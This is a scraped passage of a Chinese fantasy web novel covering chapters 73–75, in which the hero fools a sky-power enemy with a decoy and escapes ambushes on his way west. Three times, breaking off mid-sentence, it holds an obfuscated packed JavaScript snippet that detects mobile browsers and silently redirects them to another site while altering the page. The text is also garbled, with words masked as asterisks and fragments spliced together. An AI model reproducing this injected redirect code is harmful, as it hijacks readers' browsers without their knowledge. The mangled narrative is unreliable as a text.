秦戍缓缓摇了摇头,指尖在膝盖上轻轻敲了敲,没有立刻回答。 张玉汝看着他的动作,心中刚升起的期待瞬间沉了下去,一丝难以掩饰的失望爬上眉梢——他原以为秦戍作为姜南云的老友,或许知道些关于自己身世的隐情,却没想到对方似乎也不清楚。 他下意识地垂下眼帘,盯着地面上的碎石,手指无意识地蜷缩起来,连手臂的疼痛感都仿佛变得清晰了几分。 可就在这时,秦戍的声音重新响起,打破了短暂的沉默:“你的身世不算太好,父母也只是普通的能力者,没什么特殊背景,甚至连高阶能力者都算不上。” 这句话像一颗石子,投入张玉汝平静的心湖,没有减轻他的疑惑,反而让他更加困惑。 他猛地抬起头,眉头紧锁,眼神里满是不解:“普通的能力者?那我为什么会出现在福利院?爷爷又为什么会特意收养我?以他的身份,就算想帮助孤儿,也没必要亲自收养一个毫无特殊之处的孩子吧?” 他的问题一连串地抛出,语气里带着急切——这个答案太普通了,普通到不符合他对“身世秘密”的预期,更无法解释姜南云多年来对他的特殊照顾。 秦戍听到这些话,先是沉默了片刻,随后缓缓叹了口气,眼神变得悠远而复杂,像是在回忆一段尘封已久的往事。 他抬起头,望着远处被战火染红的天空,声音低沉地开口:“姜南云曾经是先导会的人,这件事,想必你早就知道了吧?” 张玉汝点点头,语气肯定:“嗯,爷爷偶尔会提起,说他年轻时在先导会待过一段时间,负责处理异兽相关的任务。” “他没跟你说过,他当年在先导会有多耀眼吗?”秦戍的嘴角勾起一抹复杂的笑意,有赞叹,也有惋惜。 “姜南云是个天赋异禀的人,在我们那一代里,他的天赋是公认的第一。他出身贫寒,父母都是普通市民,没有任何背景,却硬生生靠着自己的努力,一步步在能力者圈子里崭露头角。” “全国能力者赛事,你知道吧?”秦戍转头看向张玉汝,见他点头,继续说道。 “他连续三年参加赛事,从分区赛到全国总决赛,一路过关斩将,每次都能拿下同组别第一。” “尤其是最后一年的无差别场比赛,他以大师级巅峰的实力,硬生生击败了三名宗师级对手,夺下年轻一辈第一名的成绩——那一战,让他名声大噪,成为了整个神州国最受瞩目的年轻能力者。” 张玉汝听得有些出神,他从未想过,平日里温和低调的爷爷,年轻时竟如此耀眼。 “那时候,所有人都觉得他前途无量。”秦戍的语气里满是感慨。 “他是近百年来最年轻的宗师级能力者,突破宗师时才刚满二十五岁。北斗院的元天成泰斗亲自找上门,想邀请他留在北斗院担任教授,培养下一代能力者。” “各大镇守府也都开出丰厚的条件,争相招揽他。可谁都没想到,他最后会选择加入先导会——只因为他当时的恋人,是一名天人。” “天人?”张玉汝愣住了,这是他第一次听到关于爷爷恋人的事情。 “没错,是一个不算太顶尖的天人家族的女儿。”秦戍点点头,语气里多了几分凝重。 “那时候姜南云风头正盛,那个天人家族为了拉拢他,甚至提出可以破例让他以女婿的身份加入家族,共享天人的资源。” “在所有人看来,他即将走上人生巅峰,既有爱情,又有前途。” “可这一切,都在他加入先导会,参与那次‘重大任务’后,彻底改变了。”秦戍的声音突然低沉下来,眼神里也多了几分阴霾。 “没人知道那次任务的具体内容,除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他低头看着自己的身体,黑白二色的能量还在微弱地闪烁——这条能力者的道路,从他觉醒的那天起,就注定无法回头。 而爷爷的过往,自己的身世,还有即将前往的裂隙之地,都像一条条绳索,将他牢牢绑在了这场对抗天人的纷争之中。 过了很久,他才缓缓抬起头,眼神里没有了之前的迷茫,只剩下坚定。 晚风从战场方向吹来,带着异兽嘶吼的余响与淡淡的硝烟味,拂过张玉汝的脸颊。 他抬手拂去额前被风吹乱的发丝,目光望向西南方向——那里是裂隙之地的所在,是爷爷姜南云此刻可能身处的地方,也是他即将踏上的险途。 命运这东西,从来都像天边的云,变幻莫测,无可捉摸。 它能在你意气风发时,突然降下暴雨,将所有希望浇灭;也能在你陷入绝境时,又悄悄留一道微光,让你找到前行的方向。 就像姜南云,谁曾想过那个天赋绝伦、本该站在异能界顶端的年轻人,会因一场任务沦为“叛徒”,从此隐姓埋名。 又像他自己,本是福利院中无人问津的孤儿,却被姜南云收养,一步步走到宗师级,最终卷入对抗天人的洪流之中。 谁也无法提前知道,命运会将一个人推到什么境地。是成为随波逐流的尘埃,还是逆风而上的野草?是在困境中沉沦,还是在绝境中绽放? 这些答案,从来都不是命运提前写好的,而是要靠自己一步步走出来的。 若是将命运比作一片汹涌的海洋,那他张玉汝,就只是这海洋上漂浮的一艘小船。 船身不算坚固,没有强大的护航,随时可能遭遇狂风巨浪,甚至被卷入海底。 可即便如此,他也并不畏惧——因为他知道,船舵始终握在自己手里,方向始终在自己心中。 他缓缓站直身体,抬头望向西南方向的天空,夕阳正缓缓落下,将半边天空染成温暖的橙红色,仿佛在为他即将开启的旅程,镀上一层希望的光晕。 天人的追杀也好,裂隙之地的凶险也罢,甚至未来可能遇到的更多未知挑战,都无法动摇他的决心。 风再次吹过,这一次,不再带着硝烟的沉重,反而多了几分前行的轻快。 张玉汝深吸一口气,将所有情绪收进心底,转身朝着与战场相反的方向走去。 他的身影渐渐消失在暮色中,只留下坚定的脚步声,在空旷的天地间回荡。 第 73章 傻子 就在张玉汝与秦戍结束交谈,转身踏上前往西南的征途时,战场另一端的天幕之下,李巡天终于完成了最后的蓄力。 他悬浮在高空,周身黑色能量翻涌,目光死死锁定着下方“被困”的张玉汝虚影,嘴角勾起一抹志在必得的冷笑——为了确保万无一失,他不惜耗费三成本源,布下了自己的压箱底招式。 “张玉汝,能死在我这「九重天」下,也算是你的荣幸了。”李巡天的声音透过天幕传遍四方,带着不容置疑的傲慢。 为了避免被「天人五衰」波及本源,他特意将天幕拆解为九层,每层都蕴含着一种极端气象,且能量性质互不干扰,却又能层层叠加,形成毁天灭地的威力。 第一层天幕率先成型——乌云如同墨汁般快速汇聚,遮蔽了整片天空。 紧接着,无数道手臂粗细的紫色雷暴如同愤怒的虬龙,在云层中穿梭游走,“噼啪”的电流声震耳欲聋,连空气都被电离出刺鼻的臭氧味。 这不是普通的雷电,而是李巡天借助天空能量撬动的“天罚之雷”,足以瞬间击穿钢铁,融化岩石。 第二层天幕紧随其后,狂风呼啸着从虚空中涌出,形成一道道肉眼可见的黑色风柱,风速之快,竟能将地面的碎石卷至高空,再狠狠砸向地面,砸出一个个半米深的坑洞。 风柱与雷暴交织,紫色电流顺着风柱蔓延,形成一片覆盖数里的“雷暴风域”,任何进入其中的物体,都会被雷电与狂风撕扯成碎片。 紧接着,第三层的暴雨、第四层的冰雹、第五层的冻霜、第六层的沙尘暴、第七层的陨石流、第八层的酸雨、第九层的空间扭曲,层层叠叠地笼罩下来。 暴雨如注,雨滴带着腐蚀性,落在岩石上滋滋作响;冰雹如同拳头大小的冰块,密集得如同倾盆而下的陨石,砸得地面烟尘弥漫;冻霜瞬间将积水冻结成冰,连空气都仿佛要被冻裂。 沙尘暴遮天蔽日,能见度不足一米,沙砾如同锋利的刀片,能轻易割破钢铁;陨石流拖着长长的火尾,从高空坠落,每一颗都能炸出直径十余米的大坑。 酸雨落在皮肤上,会瞬间灼烧出红肿的伤痕;最外层的空间扭曲,则让所有能量攻击的轨迹都发生偏移,彻底断绝了“张玉汝”躲避的可能。 这便是李巡天的成名绝技「九重天」——每层天幕都是一道天灾,九层叠加,威力呈几何倍数增长。 天空类能力者的恐怖之处在此刻展现得淋漓尽致:天空涵盖万物,借由天空能量,既能撬动气象之力,也能引动陨石、扭曲空间。 这一招若是落在城市中,足以在半炷香内将整座城市夷为平地,让数十万人生死不明,破坏力堪称恐怖。 李巡天悬浮在九层天幕之上,看着下方被天灾笼罩的区域,眼中满是得意。 他很清楚,就算是同为大宗师的强者,面对这「九重天」也得拼尽全力才能勉强自保,更别说张玉汝一个宗师级能力者了。 “之前倒是小看你了,竟能逼我用出这招。”他低声自语,语气里带着一丝不易察觉的忌惮——若不是担心张玉汝真的催动「天人五衰」,他也不会耗费这么多本源。 随着李巡天一声令下,九层天幕开始缓慢下压,如同九座倒悬的天空,带着毁天灭地的威势,朝着“张玉汝”所在的位置碾压而去。 雷暴劈碎大地,风柱卷起碎石,冰雹砸穿岩层,陨石炸出深坑,整片区域瞬间沦为人间炼狱。 正如李巡天所料,天幕之下的“张玉汝”没有任何反抗——虚影在雷暴中微微闪烁,在冰雹砸击下逐渐变得透明,最终在陨石的**中彻底消散,连一丝能量残留都没有。 半个时辰后,九层天幕缓缓散去,烟尘渐渐落地,露出一片狼藉的废墟——地面布满了深不见底的坑洞,岩石被融化成玻璃状,空气中弥漫着烧焦的气息,连生命力最顽强的杂草都不复存在。 李巡天缓缓降落,脚尖落在一块尚未冷却的岩石上,用神识仔细探查着周围的每一寸土地,却没有感受到任何生命气息,甚至连张玉汝的能量残留都消失得无影无踪。 “哼,果然死无全尸。”李巡天面露得意的笑容,心中的一块大石终于落地,“一个宗师级而已,也敢和我作对,真是自不量力。” 他却没注意到,在不远处的一棵枯树上,一道半透明的虚影正抱臂而立,正是秦戍的分身。 分身看着李巡天在废墟中故作姿态的模样,眼底满是戏谑,甚至忍不住低笑出声:“你找不到也是理所当然——毕竟,谁能找到一个从一开始就不存在的人呢?” 秦戍的分身微微前倾身体,像是在欣赏一场精彩的闹剧。 他清楚地知道,那所谓的“张玉汝”,不过是张玉汝用自身残留能量模拟出的虚影——不仅复制了气息、动作,甚至连“燃烧本源”的衰败感都惟妙惟肖。 而他则在暗中用能量干扰了李巡天的神识,遮住了虚影与真实人体的细微差异,让李巡天始终误以为虚影就是本体。 “还以为自己在用大炮打蚊子,殊不知,对着空无一人的大地狂轰滥炸,倒更像是在犁地。” 秦戍的分身低声调侃,看着李巡天得意洋洋地收起能量,转身离去的背影,忍不住摇了摇头,“这天人啊,有时候蠢得还挺可爱。” 说完,分身化作一道流光,消失在空气中——他还要去完成张玉汝的托付,暗中保护夏侯雪的安全。 顺便,再看看李巡天接下来还会闹出什么笑话。 李巡天在废墟中又盘旋了整整一刻钟,神识如同细密的网,反复扫过每一寸焦土。 从陨石炸开的深坑,到被雷暴劈裂的岩层,再到被冻霜凝结的残冰,任何可能残留能量或尸体碎片的地方,都没逃过他的探查。 可结果依旧不变——这片土地上,除了他自己的能量残留,再无任何与张玉汝相关的痕迹,连一丝血肉、一缕灵魂印记都没有。 “不对劲。”李巡天的眉头渐渐皱起,脸上的得意笑容也消散无踪。 他悬浮在半空,指尖无意识地捻动着黑色能量,心中的疑虑越来越重。 就算张玉汝被「九重天」轰成了齑粉,也该留下些许能量碎片或血肉残渣,可现在的情况,就像是张玉汝从未出现在这里过一样——干净得过分。 “难道……他早就跑了?”这个念头一旦升起,就像藤蔓般在他脑海中疯狂生长。 当最后一丝希望也破灭时,他周身的黑色能量突然失控般翻涌起来,原本平稳的天幕能量变得狂暴,卷起地面的焦土与碎石,在他身边形成一道旋转的黑色气旋。 “该死!”李巡天猛地攥紧拳头,指甲几乎要嵌进掌心,语气里满是压抑不住的愤怒,“一个低阶的宗师,一个连天人脚趾都摸不到的蝼蚁,竟然敢骗我!” 他悬在半空,目光死死盯着脚下的废墟,眼中满是**与暴怒。 在他看来,自己身为天人,大宗师级的强者,竟然被一个“普通能力者”用虚影骗了这么久,甚至还耗费三成本源,动用了「九重天」这种杀招——这不是失误,而是奇耻大辱! “我竟然会被这种拙劣的手段蒙骗……”李巡天咬牙切齿,胸口剧烈起伏。 为了缓解这份**,他开始下意识地为自己找借口:“是我太大意了。最近异兽攻势太紧,战场能量混乱,干扰了我的感知;而且那小子的虚影确实逼真,连‘燃烧本源’的衰败感都模仿得惟妙惟肖,换做其他天人,未必能察觉……” 他越说越觉得合理,仿佛自己的失误不是因为傲慢,而是因为“外部干扰”与“对手运气好”。他绝不会承认,是自己的轻视与自负,才让张玉汝的计划得逞——在天人的骄傲里,“被低阶生物算计”是绝对不能接受的事实。 怒火稍歇后,理智渐渐回笼。李巡天皱起眉头,开始思考关键问题:张玉汝的虚影再逼真,也不可能完全骗过他的天幕感知,除非有人在背后帮他干扰了自己的神识。 “是谁?”李巡天的眼神变得锐利起来,脑海中快速闪过一个个可能的名字。 “北斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李巡天深吸一口气,强行压下心中的烦躁。他决定先返回,向最高议会汇报“张玉汝被神秘势力救走”的消息。 同时将责任推给“战场干扰”与“未知势力介入”,以此保住自己的颜面。 至于寻找张玉汝的踪迹,他打算暗中调查,一定要找到那个“幕后帮手”,将这口被欺骗的气,加倍讨回来。 “张玉汝,还有帮你的人,你们给我等着。”李巡天眼神冰冷,周身的黑色能量渐渐收敛,“下次再见面,我会让你们知道,欺骗天人的下场,比死更痛苦。” 他的背影依旧挺拔,却少了几分之前的意气风发,多了几分被算计后的狼狈——只是他自己,还没意识到这份狼狈的根源,正是他最看不起的“莽夫”秦戍,和他视为“蝼蚁”的张玉汝。 **,此刻在他看不见的地方,秦戍的本体正坐在长安镇守府的书房里,通过分身传递的画面,看着他在废墟中皱眉沉思的模样,嘴角噙着一抹意味深长的笑。 “这小子,总算还有点脑子,没蠢到无可救药。”秦戍端起桌上的茶盏,轻轻抿了一口,眼底满是戏谑,“可惜啊,偏见这东西,比能力封禁还难打破。” 多年来,秦戍一直在李巡天面前扮演“莽夫”——故意在他的小动作面前“视而不见”,故意在会议上只谈战斗、不谈谋略,甚至偶尔还会因为“冲动”做出错误的战场决策。 这些伪装,不仅让李巡天放松了警惕,也让其他天人对他放下了戒心,以为他只是个容易掌控的“武力派”。 可只有秦戍自己知道,他的每一次“装傻”,都是为了更好地观察——李巡天调动的每一丝能量,与天人高层的每一次隐秘联系,甚至他私下培养的势力,都被秦戍尽收眼底。 李巡天以为自己在暗处操控一切,却不知自己早已成了秦戍棋盘上的一颗棋子,一举一动都在对方的注视之下。 “你以为我是真傻,殊不知,我只是在陪你演戏。”秦戍放下茶盏,目光透过窗户,望向西南方向,“李巡天,你这点小聪明,在真正的布局面前,还差得远呢。” 而此刻的李巡天,还在为自己找到了甩锅的理由而庆幸,丝毫没意识到,自己对秦戍的认知,从一开始就是个彻头彻尾的错误——他以为的“莽夫”,其实是隐藏最深的棋手;他以为的“掌控全局”,不过是对方刻意纵容的闹剧。 第 74章 梁州 张玉汝站在雍州与益州交界的关卡前,看着守卫主动上前核对身份、又恭敬放行的模样,忍不住在心中再次感慨——秦戍作为长安镇守,在雍州境内的掌控力,远比他想象的还要强大。 这一路从雍州腹地前往西南,他几乎没遇到任何阻碍。 在他和秦戍结束会面时时,就有一队穿着黑色劲装的军士悄然跟上,不远不近地护在他周围,每当遇到异兽出没的区域,护卫们都会提前清理干净,连一丝危险气息都没让他接触到。 途经雍州下辖的府城时,他本以为需要隐藏身份、绕路而行,却没想到刚靠近城门,就有基地市的官员拿着秦戍的信物等候,不仅为他提供了干净的休整房间,还备好了充足的能量补给与食物。 最让他意外的是途经雍州西部的“风蚀峡谷”时——那片区域是异兽迁徙的必经之路,常年有高阶异兽盘踞,普通能力者根本不敢轻易涉足。 可他抵达峡谷入口时,却看到峡谷两侧早已布满了秦戍麾下的“镇西军”,士兵们手持特制的能量**箭,将试图靠近的异兽全部拦在峡谷之外,甚至还为他开辟了一条直通峡谷另一端的安全通道。 “若是不担心暴露行踪,秦戍恐怕真的会直接用传送阵法把我送到西南边境。”张玉汝走着平坦的通道,看着两侧严阵以待的士兵,心中不禁生出这样的念头。 传送阵法在如今的世界极为稀缺,只有核心区域才有,而且每次启动都需要消耗大量能量,寻常人根本无权使用。 可秦戍显然有能力调动雍州的传送阵,只是为了避免引起天人的注意,才选择让他“低调”赶路。 这一路,是张玉汝成为能力者以来最顺畅的一次旅程——没有天人的追杀,没有异兽的突袭,没有资源短缺的窘迫,甚至连风吹日晒都被军士们提前准备的东西挡了下来。 当他走出风蚀峡谷,踏入雍州与梁州交界的关卡时,心中甚至生出了一丝“或许能顺利抵达裂隙之地”的侥幸。 关卡的守卫核对完秦戍提前备好的“商人身份文牒”后,恭敬地将文牒递还给他,还不忘提醒:“先生一路向西,前面就是梁州地界了。梁州最近不太平,异兽活动频繁,您多保重。” 张玉汝接过文牒,笑着点头道谢,转身踏上了前往梁州的道路。 可刚走出关卡不到十里,周围的氛围就悄然变了。 原本平坦的道路渐渐变得崎岖,地面上开始出现零星的异兽爪痕;空气中的能量也从雍州境内的“平稳”,变得有些紊乱,甚至能隐约感受到一丝若有若无的敌意。 之前一直暗中跟随的护卫,也在他踏入梁州地界的瞬间,悄然退去——按照秦戍的安排,他们不能离开雍州境内,否则会引起梁州势力的警惕。 张玉汝停下脚步,皱起眉头,下意识地运转「造化之眼」。 黑白二色的视野中,他看到前方数里之外的树林里,隐约有红色的能量波动在闪烁——那是异兽的凶性能量,而且数量不少。 更让他在意的是,在那些异兽能量之中,还夹杂着一丝微弱却熟悉的气息——那是天人能力者特有的能量波动。 他心中的轻松感瞬间消失,取而代之的是一丝警惕。 他很清楚,雍州的“顺畅”是秦戍用资源与实力为他铺就的保护罩,可离开了雍州,这份保护罩就消失了。 前方的梁州地界,不仅有异兽的威胁,很可能还潜藏着天人的眼线——毕竟李巡天发现被骗后,绝不会善罢甘休,必然会派人四处搜寻他的踪迹。 他知道,自己的好运已经结束了。接下来的旅程,没有了秦戍的庇护,每一步都需要小心翼翼,每一场战斗都可能关乎生死。 没有丝毫犹豫,他调整好呼吸,将能量运转到极致,身体化作一道淡淡的残影,朝着前方的树林快速掠去——他需要尽快穿过这片区域,避开可能存在的天人眼线,继续向着裂隙之地前进。 张玉汝的身影如同贴地飞行的箭矢,在梁州崎岖的荒野上疾驰。 脚掌每一次踏在地面,都会激起细微的尘土,却不会留下太深的脚印——他刻意收敛了能量,仅靠淬炼到极致的肉身爆发速度。 即便如此,每一步也能跨越数百米距离,盏茶功夫便已掠过数百里,身后的雍州关卡早已变成天际线上的一个小点。 若是全力催动「加速世界」,他的速度还能再快上几倍,届时就算是梁州境内以迅捷闻名的“风狼异兽”,也只能看到他的残影。 可他不打算这样招摇——离开雍州的保护后,任何能量波动都可能暴露行踪,他必须尽可能保持低调,直到靠近裂隙之地。 就在他再次抬脚,准备借力向前掠出时,脚下的触感突然变了。 原本坚硬的黄土地面,竟在瞬间化作一片漆黑粘稠的泥潭! 泥浆带着腐臭的气息,如同融化的沥青,死死吸附着他的脚掌。 张玉汝那带着惯力的一脚踩空,身体瞬间失去平衡,整个人朝着泥潭中栽去。 “不好!” 他心中警铃大作,体内能量瞬间流转,黑白二色的光晕笼罩全身——他本想直接催动能量,御空而起,避开这突如其来的陷阱。 可还没等他的身体离开泥潭表面,头顶上方突然传来一阵刺耳的破空声。 抬头望去,只见一块如同小山般的巨型岩石,正从高空飞速坠落,阴影如同乌云般将他笼罩。岩石表面布满尖锐的石棱,带着千钧之力,仿佛要将他连同这片泥潭一起砸成齑粉。 “这种手段,还困不住我!” 张玉汝眼神一凝,身体在泥潭中强行扭转。 即便脚掌被泥浆吸附,他依旧凭借惊人的腰腹力量,让身体在空中完成一个惊险的侧翻。 巨石“轰”的一声砸在泥潭中,泥浆飞溅,地面塌陷出一个直径十余米的大坑,可张玉汝的身影早已出现在坑边的地面上。 然而,这仅仅是开始。 还没等他站稳,四面八方突然同时袭来数道攻击——左侧一道炽热的火焰柱如同火龙般喷涌而来,右侧数根尖锐的土刺从地面突起,前方一道水箭凝聚成实质,带着撕裂空气的锐响射向他的胸口,后方更是有无数细小的冰锥如同暴雨般笼罩他的退路。 偷袭者显然早有预谋,攻击覆盖了所有闪避方向,且元素类型互补,几乎封**他所有的逃生可能。 “哼!” 张玉汝冷哼一声,眼中闪过一丝锐光。 他没有硬接攻击,而是将肉身速度催动到极致,身体化作一道模糊的残影,在火焰、土刺、水箭与冰锥之间穿梭。 火焰擦着他的衣角掠过,将地面烧出焦痕;土刺刺破他的残影,在地面留下密密麻麻的孔洞;水箭与冰锥落空,砸在岩石上碎裂开来——短短数秒内,他竟凭着极致的反应与速度,将所有攻击一一闪避,动作行云流水,仿佛提前预知了攻击轨迹。 “该结束了!” 张玉汝见攻击间隙出现,正打算化作残影远离这片战场,彻底摆脱偷袭者的纠缠。 可就在他抬脚的瞬间,一股突如其来的强大力量,如同无形的大手,猛地将他向下拽去! 那是一种极其熟悉的力量——与**成相似的“重力操控”,但比**成的能力更加霸道、更加隐蔽。 这股引力并非针对他的身体,而是直接作用于他周围的空间,扭曲了星球本身的引力场,让他原本轻盈的身体瞬间变得沉重无比,如同被灌了铅一般,硬生生从半空中拽落。 “噗通”一声,张玉汝再次落入泥潭中。 这一次,泥潭的粘稠度比之前更甚,黑色的泥浆如同有生命般,顺着他的双腿向上蔓延,紧紧包裹住他的膝盖,甚至开始渗入他的衣物,试图将他彻底拖入泥潭底部。 更糟糕的是,数根手臂粗细的枯木突然从泥潭周围的地面破土而出,如同毒蛇般缠绕住他的腰腹与手臂。 枯木表面布满尖锐的倒刺,刺入他的皮肤,渗出鲜血,同时释放出一种麻痹性的毒素,让他的身体渐渐变得僵硬。 张玉汝心中一沉。 偷袭者并非一两人,而是一个分工明确的小队——有人操控泥潭制造陷阱,有人掌控土元素召唤巨石与土刺,有人操控火焰与水箭,有人擅长重力、有人控制植物,可能还有人在暗中观察,调整攻击节奏。 他试图催动能量挣脱,可重力的压制让他的能量运转变得滞涩,泥潭与枯木的束缚更是让他难以发力。 就在他挣扎的瞬间,新一轮的元素攻击再次袭来——这一次,攻击更加密集,火焰、水箭、冰锥与土刺如同**般落在他身上,没有丝毫停歇。 张玉汝只能蜷缩身体,将能量凝聚在体表,形成一层薄薄的防护盾。 火焰灼烧着他的皮肤,水箭冲击着他的防护盾,冰锥与土刺不断撞击他的身体,每一次攻击都让他的气血翻涌,防护盾的光芒也越来越黯淡。 这场单方面的**,足足持续了二十分钟。 直到张玉汝体表的防护盾几乎破碎,身上布满了灼烧与撞击的伤痕,鲜血染红了周围的泥浆,攻击才终于稍有间隙。 泥潭周围的阴影中,渐渐走出几道模糊的身影,他们没有靠近,只是远远地围着张玉汝,眼中带着冰冷的杀意,仿佛在欣赏猎物挣扎的模样。 张玉汝靠在一根还未完全缠绕他的枯木上,大口喘着粗气,手臂微微颤抖。 阴影中的偷袭者见张玉汝虽被束缚,却仍未完全失去反抗能力,眼中闪过一丝忌惮,没有贸然上前。 为首之人打了个手势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737664|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,**的力度瞬间翻倍——原本的火焰、水箭、冰锥还未消散,数道手臂粗细的紫色雷霆便从云层中劈下,带着“噼啪”的电流声,直刺泥潭中的身影。 狂风呼啸着凝聚成旋转的风刃,如同锋利的刀片,朝着张玉汝的四肢切割而去。 更诡异的是,黑白双色的光暗能量交织成网,一边释放着灼烧的高温,一边散发着冻结的寒气,将他周围的空间彻底封锁。 能量攻击如同瀑布般倾泻而下,泥潭表面被轰得不断翻涌,黑色的泥浆与碎石飞溅到数十米高空,又重重砸落,形成一片混乱的能量风暴。 可这还不是结束——在战场一千公里外的隐蔽山谷中,一处由数百门远程火箭车组成的火力阵地突然启动。 “目标坐标确认,全体开火!” 指挥官一声令下,火箭车的发射架瞬间亮起红光,数百枚带着黑色尾焰的**如同流星般升空,在空中划出一道道弧线,朝着张玉汝所在的区域疾驰而去。 这些**并非普通**,弹头镶嵌着能量晶体,**威力足以摧毁一座小型堡垒,落地瞬间便能引发连锁**,将方圆百米化为焦土。 能量与炮火在半空交织,整个天空仿佛被点燃,红色的火焰、紫色的雷霆、黑白的光暗、黑色的硝烟,将这片区域变成了名副其实的人间炼狱。 **声震耳欲聋,地面不断塌陷,泥潭被炮火炸成一个个深坑,又很快被后续的攻击填满。 这场毁灭性的**,足足持续了一个小时。 当最后一枚**落地,引发最后一次剧烈**后,战场终于恢复了平静。 原本的泥潭早已消失,取而代之的是一片直径数百米的焦土,地面布满了深不见底的弹坑,空气中弥漫着硝烟与能量残留的刺鼻气味,连生命力最顽强的杂草都被彻底化为灰烬,看不到任何完整的物体。 “目标应该已经被彻底消灭了吧?”一名穿着黑色战甲、手持能量**的战士,小心翼翼地从阴影中走出。 他握着枪的手微微颤抖,眼神中带着一丝不确定——毕竟张玉汝能从李巡天手下逃脱,绝非易与之辈。 他一步步靠近焦土中心,脚下的碎石发出“咯吱”的声响。他弯腰翻找着,手指拂过滚烫的焦土,试图寻找张玉汝的尸体碎片或能量残留,可翻找了足足一刻钟,除了焦黑的岩石与融化的金属,什么都没找到。 “难道真的被轰成齑粉了?”战士喃喃自语,心中的不安却越来越强烈。 就在这时,一道墨色的能量突然从焦土中心的空气里浮现。 这道能量很淡,却带着清晰的意识,在空中缓缓凝聚、勾勒——没有发动攻击,也没有释放威压,而是一笔一划地写出了两个歪歪扭扭却格外刺眼的大字: **。 这一幕让在场所有偷袭者都惊得浑身一僵,脸上的得意瞬间被错愕取代。阴影中的为首者猛地站起身,眼神死死盯着那道墨色能量,厉声喝道:“不可能!他怎么可能还活着?!” 墨色能量仿佛听到了他的怒吼,在空中停留了片刻,又轻轻晃动了一下,像是在嘲讽,随后便彻底消散在空气中,没有留下任何痕迹。 直到这时,偷袭者们才意识到自己被骗了——从最初那道攻击落下时,张玉汝就已经识破了陷阱。 他故意装作中招,在泥潭中留下一具用自身能量凝聚的分身,连“挣扎”“受伤”的姿态都模仿得惟妙惟肖。 而他的本体,则早已借着能量**的混乱,催动「融身自然」与「加速世界」,悄无声息地离开了战场,甚至可能一直在不远处,看着他们对着一具分身狂轰滥炸。 “该死!我们被耍了!”为首者气得浑身发抖,一拳砸在旁边的岩石上,将岩石砸得粉碎。 他们耗费大量人力物力,布下天罗地网,甚至调动了远程火箭阵地,最后却只是对着一具分身浪费了一个多小时的攻击——这种被戏耍的感觉,比直接战败还要**。 而此刻的张玉汝,早已在百里之外的一片密林中停下脚步。 他靠在一棵大树上,看着远处依旧冒着黑烟的战场方向,嘴角勾起一抹淡淡的笑意。刚才用分身留下那两个字,算是给这群偷袭者的“回礼”——既然他们喜欢玩陷阱,那他不介意陪他们多玩一会儿。 不过,他也清楚,这次的偷袭绝非偶然。 能调动如此之多的能力者,甚至远程火箭阵地,背后必然有天人势力的支持。 这也意味着,从现在开始,他前往裂隙之地的每一步,都会更加凶险。 张玉汝深吸一口气,收敛笑容,再次化作一道残影,朝着西南方向疾驰而去。 这一次,他没有再隐藏速度——既然已经暴露,那就用最快的速度抵达目的地。 第 75章 ** 张玉汝在密林中疾驰,脚下的落叶被他带起的风卷向两侧。 距离上一次“分身戏敌”已经过去三天。 可他心中的疑惑却越来越重——自从离开那里之后,他已经接连遭遇了四次袭击,每一次的袭击者都不同,手段却同样狠辣。 第一次是在一片河谷地带。 他本想借着河流隐蔽行踪,却没想到河面下突然窜出数十条被能力操控的巨型水**,水**口中喷出带着麻痹毒素的水柱,河床下还升起数道水牢,试图将他困在其中。 张玉汝虽凭借「加速世界」轻松避开,却发现这些水**的操控者竟隐藏在河谷上游的山崖上,手中握着特制的能量装置,能实时追踪他的能量波动。 第二次袭击发生在一片废弃的基地市废墟。 他本想在废墟中短暂休整,却没想到废墟的建筑残骸中早已布满了“重力**”——只要他踏入特定区域,**便会引爆,释放出局部重力场,将他牢牢困住。 更棘手的是,废墟外围还埋伏了数十名手持能量**的士兵,**上涂抹了能压制能力的“禁魔药剂”,一旦被击中,能量运转便会陷入紊乱。 张玉汝不得不催动「颠倒世界」改变**引爆顺序,再以「刹那」速度突破狙击圈,即便如此,也耗费了近半个时辰。 最让他警惕的是第三次袭击。 那一次,袭击者竟动用了“伪装异兽”——将高阶异兽的尸体改造成机械傀儡,表面覆盖着能模拟异兽能量的薄膜,潜伏在他必经的山林中。 当他靠近时,傀儡突然爆发,释放出与真实异兽无异的凶性气息,甚至能模仿异兽的天赋技能。 若非他的「造化之眼」能看穿傀儡内部的机械结构,恐怕真会被这逼真的伪装欺骗,陷入傀儡与隐藏能力者的双重包围。 第四次袭击则更加直接——一支由宗师级能力者组成的小队,在他途经一片峡谷时设下埋伏。 这些人分工明确,有人操控岩石封锁峡谷入口,有人释放迷雾干扰视线,有人凝聚元素能量形成弹幕,甚至还有人擅长精神干扰,试图影响他的判断。 张玉汝与他们缠斗了许久,才凭借速度优势突破包围,可对方却像牛皮糖一样紧紧跟在身后,直到他故意闯入一片异兽**区,借异兽之便利才彻底摆脱。 “我已经三次改变路线了,为什么还能被找到?”张玉汝在一棵参天古树下停下,靠在树干上喘息。 他的「融身自然」能力也一直在运转,能让他的气息与周围环境融为一体。 按道理来说,天人就算想追踪他,也不该如此精准。 难道是是自己的能力出现了破绽?张玉汝皱着眉,反复检查自身,却没发现任何异常。 他抬头望向西南方向,那里的天空似乎比之前更加阴沉,仿佛有一张无形的网,正在慢慢向他收紧。 “不管了,先尽快抵达裂隙之地再说。”张玉汝深吸一口气,将疑惑压在心底。 